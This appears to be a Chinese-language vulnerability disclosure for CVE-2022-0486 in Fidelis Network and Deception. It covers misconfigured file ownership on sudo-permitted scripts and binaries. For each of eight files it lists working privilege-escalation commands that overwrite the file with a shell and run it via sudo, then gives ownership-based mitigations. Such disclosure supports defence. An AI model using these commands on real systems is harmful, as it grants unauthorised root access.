所有漏洞利用均已获得美国政府批准公开释放。特别感谢负责批准无限制分发文档的军人和政府联络人员。请参考以下 OTR 编号:
日期: 20220517 2005H UTC
漏洞利用作者: Henry Reed, The Aerospace Corporation
厂商主页: https://fidelissecurity.com/
受影响版本:
测试环境:
CVE: CVE-2022-0486
CVE 描述: Fidelis Network and Deception 中的 CommandPost、Collector、Sensor 和 Sandbox 组件存在不正确的文件权限,使得具有本地 CLI 管理访问权限的攻击者能够修改受影响的文件并实现等同于 root 用户的权限提升。该漏洞存在于 Fidelis Network and Deception 9.4.5 之前的版本。已提供补丁和更新以解决此漏洞。
该 CVE 下存在多个漏洞利用,因为 CVE 涵盖了一系列不当的文件权限。所有漏洞利用均源于 NOPASSWD 和多个需要密码的 sudoers 权限被授予 fidelis 用户,这些权限作用于 fidelis 用户所拥有的二进制文件或脚本,从而允许 fidelis 用户任意修改该文件。这实现了本地权限提升。
受影响的 NOPASSWD 文件:
需要密码的受影响文件:
建议受影响的 Fidelis Deception 或 Fidelis Network 用户更新软件以修补此漏洞。同时建议所有用户,无论是否受此漏洞影响,在初始配置后禁用其 Fidelis 产品的 shell 访问。
如果出于某种原因两者均不可行,本文档描述了每个易受攻击文件的缓解措施。根据作者的测试,用户似乎需要先利用这些漏洞之一提升权限,然后才能应用所述的缓解措施,因此强烈建议更新 Fidelis 并禁用 SSH。
测试环境:
/FSS/bin/shutdown.pl 上配置错误的所有权权限允许 fidelis 用户在多个 Fidelis 产品中将权限提升至等同于 root 用户。默认情况下,sudoers 配置允许 fidelis 用户以 root 用户身份执行 /FSS/bin/shutdown.pl,无需输入密码。该文件由 fidelis 用户拥有,允许 fidelis 用户任意修改该脚本并提升权限。
$ chmod 700 /FSS/bin/shutdown.pl
$ echo '#!/usr/bin/perl -w' > /FSS/bin/shutdown.pl
$ echo "exec '/bin/sh';" >> /FSS/bin/shutdown.pl
$ cat /FSS/bin/shutdown.pl
#!/usr/bin/perl -w
exec '/bin/sh';
$ sudo /FSS/bin/shutdown.pl
展示漏洞发现与利用的截图。注意 NOPASSWD 行,表明 shutdown.pl 是权限提升的潜在候选:

将 /FSS/bin/shutdown.pl 的用户和组所有者更改为 root:fidelis,并且仅允许组所有者对 /FSS/bin/shutdown.pl 具有读取和执行权限,即可缓解此漏洞:

测试环境:
/FSS/setup/cert_mgmt 上配置错误的所有权权限允许 fidelis 用户在多个 Fidelis 产品中将权限提升至等同于 root 用户。默认情况下,sudoers 配置允许 fidelis 用户通过提供密码以 root 用户身份执行 /FSS/setup/cert_mgmt。该文件由 fidelis 用户拥有,允许 fidelis 用户任意修改该脚本并提升权限。
$ chmod u+w /FSS/setup/cert_mgmt
$ cp /bin/bash /FSS/setup/cert_mgmt
$ sudo /FSS/setup/cert_mgmt
展示漏洞发现与利用的截图:

将 /FSS/setup/cert_mgmt 的用户和组所有者更改为 root:fidelis,并且仅允许组所有者对 /FSS/setup/cert_mgmt 具有读取和执行权限,即可缓解此漏洞:

测试环境:
/FSS/bin/db_updater 上配置错误的所有权权限允许 fidelis 用户在 Fidelis CommandPost 中将权限提升至等同于 root 用户。默认情况下,sudoers 配置允许 fidelis 用户通过提供密码以 root 用户身份执行 /FSS/bin/db_updater。该文件由 fidelis 用户拥有,允许 fidelis 用户任意修改该二进制文件并提升权限。
$ chmod u+w /FSS/bin/db_updater
$ cp /bin/bash /FSS/bin/db_updater
$ sudo /FSS/bin/db_updater

将 /FSS/bin/db_updater 的用户和组所有者更改为 root:fidelis,并且仅允许组所有者对 /FSS/bin/db_updater 具有读取和执行权限,即可缓解此漏洞:

测试环境:
/FSS/deception-manager/bin/deception-manager 上配置错误的所有权权限允许 fidelis 用户在 Fidelis CommandPost 中将权限提升至等同于 root 用户。默认情况下,sudoers 配置允许 fidelis 用户通过提供密码以 root 用户身份执行 /FSS/deception-manager/bin/deception-manager。该文件由 fidelis 用户拥有,允许 fidelis 用户任意修改该二进制文件并提升权限。
$ cp /bin/bash /FSS/deception-manager/bin/deception-manager
$ sudo /FSS/deception-manager/bin/deception-manager
展示漏洞发现与利用的截图:

将 /FSS/deception-manager/bin/deception-manager 的用户和组所有者更改为 root:fidelis,并且仅允许组所有者对 /FSS/deception-manager/bin/deception-manager 具有读取和执行权限,即可缓解此漏洞:

测试环境:
/FSS/sbin/fssdbg.sh 上配置错误的所有权权限允许 fidelis 用户在多个 Fidelis 产品中将权限提升至等同于 root 用户。默认情况下,sudoers 配置允许 fidelis 用户通过提供密码以 root 用户身份执行 /FSS/sbin/fssdbg.sh。该文件由 fidelis 用户拥有,允许 fidelis 用户任意修改该脚本并提升权限。
$ chmod u+w /FSS/sbin/fssdbg.sh
$ cp /bin/bash /FSS/sbin/fssdbg.sh
$ sudo /FSS/sbin/fssdbg.sh
展示漏洞发现与利用的截图:

将 /FSS/sbin/fssdbg.sh 的用户和组所有者更改为 root:fidelis,并且仅允许组所有者对 /FSS/sbin/fssdbg.sh 具有读取和执行权限,即可缓解此漏洞:

测试环境:
/FSS/bin/mst 上配置错误的所有权权限允许 fidelis 用户在多个 Fidelis 产品中将权限提升至等同于 root 用户。默认情况下,sudoers 配置允许 fidelis 用户通过提供密码以 root 用户身份执行 /FSS/bin/mst。该文件由 fidelis 用户拥有,允许 fidelis 用户任意修改该二进制文件并提升权限。
$ chmod u+w /FSS/bin/mst
$ cp /bin/bash /FSS/bin/mst
$ sudo /FSS/bin/mst
展示漏洞发现与利用的截图:

将 /FSS/bin/mst 的用户和组所有者更改为 root:fidelis,并且仅允许组所有者对 /FSS/bin/mst 具有读取和执行权限,即可缓解此漏洞。以下截图展示了权限提升的缓解措施,以及 fidelis 用户在没有 sudo 的情况下运行 mst 命令的输出片段:

截图显示即使采用了缓解措施,fidelis 用户仍可通过 sudo 运行该命令:

截图显示当使用缓解措施时,无法修改 mst 来运行其他任意代码:

测试环境:
/FSS/bin/setup 上配置错误的所有权权限允许 fidelis 用户在多个 Fidelis 产品中将权限提升至等同于 root 用户。默认情况下,sudoers 配置允许 fidelis 用户通过提供密码以 root 用户身份执行 /FSS/bin/setup。该文件由 fidelis 用户拥有,允许 fidelis 用户任意修改该二进制文件并提升权限。
$ chmod u+w /FSS/bin/setup
$ cp /bin/bash /FSS/bin/setup
$ sudo /FSS/bin/setup
展示漏洞发现与利用的截图:

将 /FSS/bin/setup 的用户和组所有者更改为 root:fidelis,并且仅允许组所有者对 /FSS/bin/setup 具有读取和执行权限,即可缓解此漏洞:

测试环境:
/FSS/setup/unlock_cp_user.sh 上配置错误的所有权权限允许 fidelis 用户在多个 Fidelis 产品中将权限提升至等同于 root 用户。默认情况下,sudoers 配置允许 fidelis 用户通过提供密码以 root 用户身份执行 /FSS/setup/unlock_cp_user.sh。该文件由 fidelis 用户拥有,允许 fidelis 用户任意修改该脚本并提升权限。
$ chmod u+w /FSS/setup/unlock_cp_user.sh
$ cp /bin/bash /FSS/setup/unlock_cp_user.sh
$ sudo /FSS/setup/unlock_cp_user.sh
展示漏洞发现与利用的截图:

将 /FSS/setup/unlock_cp_user.sh 的用户和组所有者更改为 root:fidelis,并且仅允许组所有者对 /FSS/setup/unlock_cp_user.sh 具有读取和执行权限,即可缓解此漏洞:
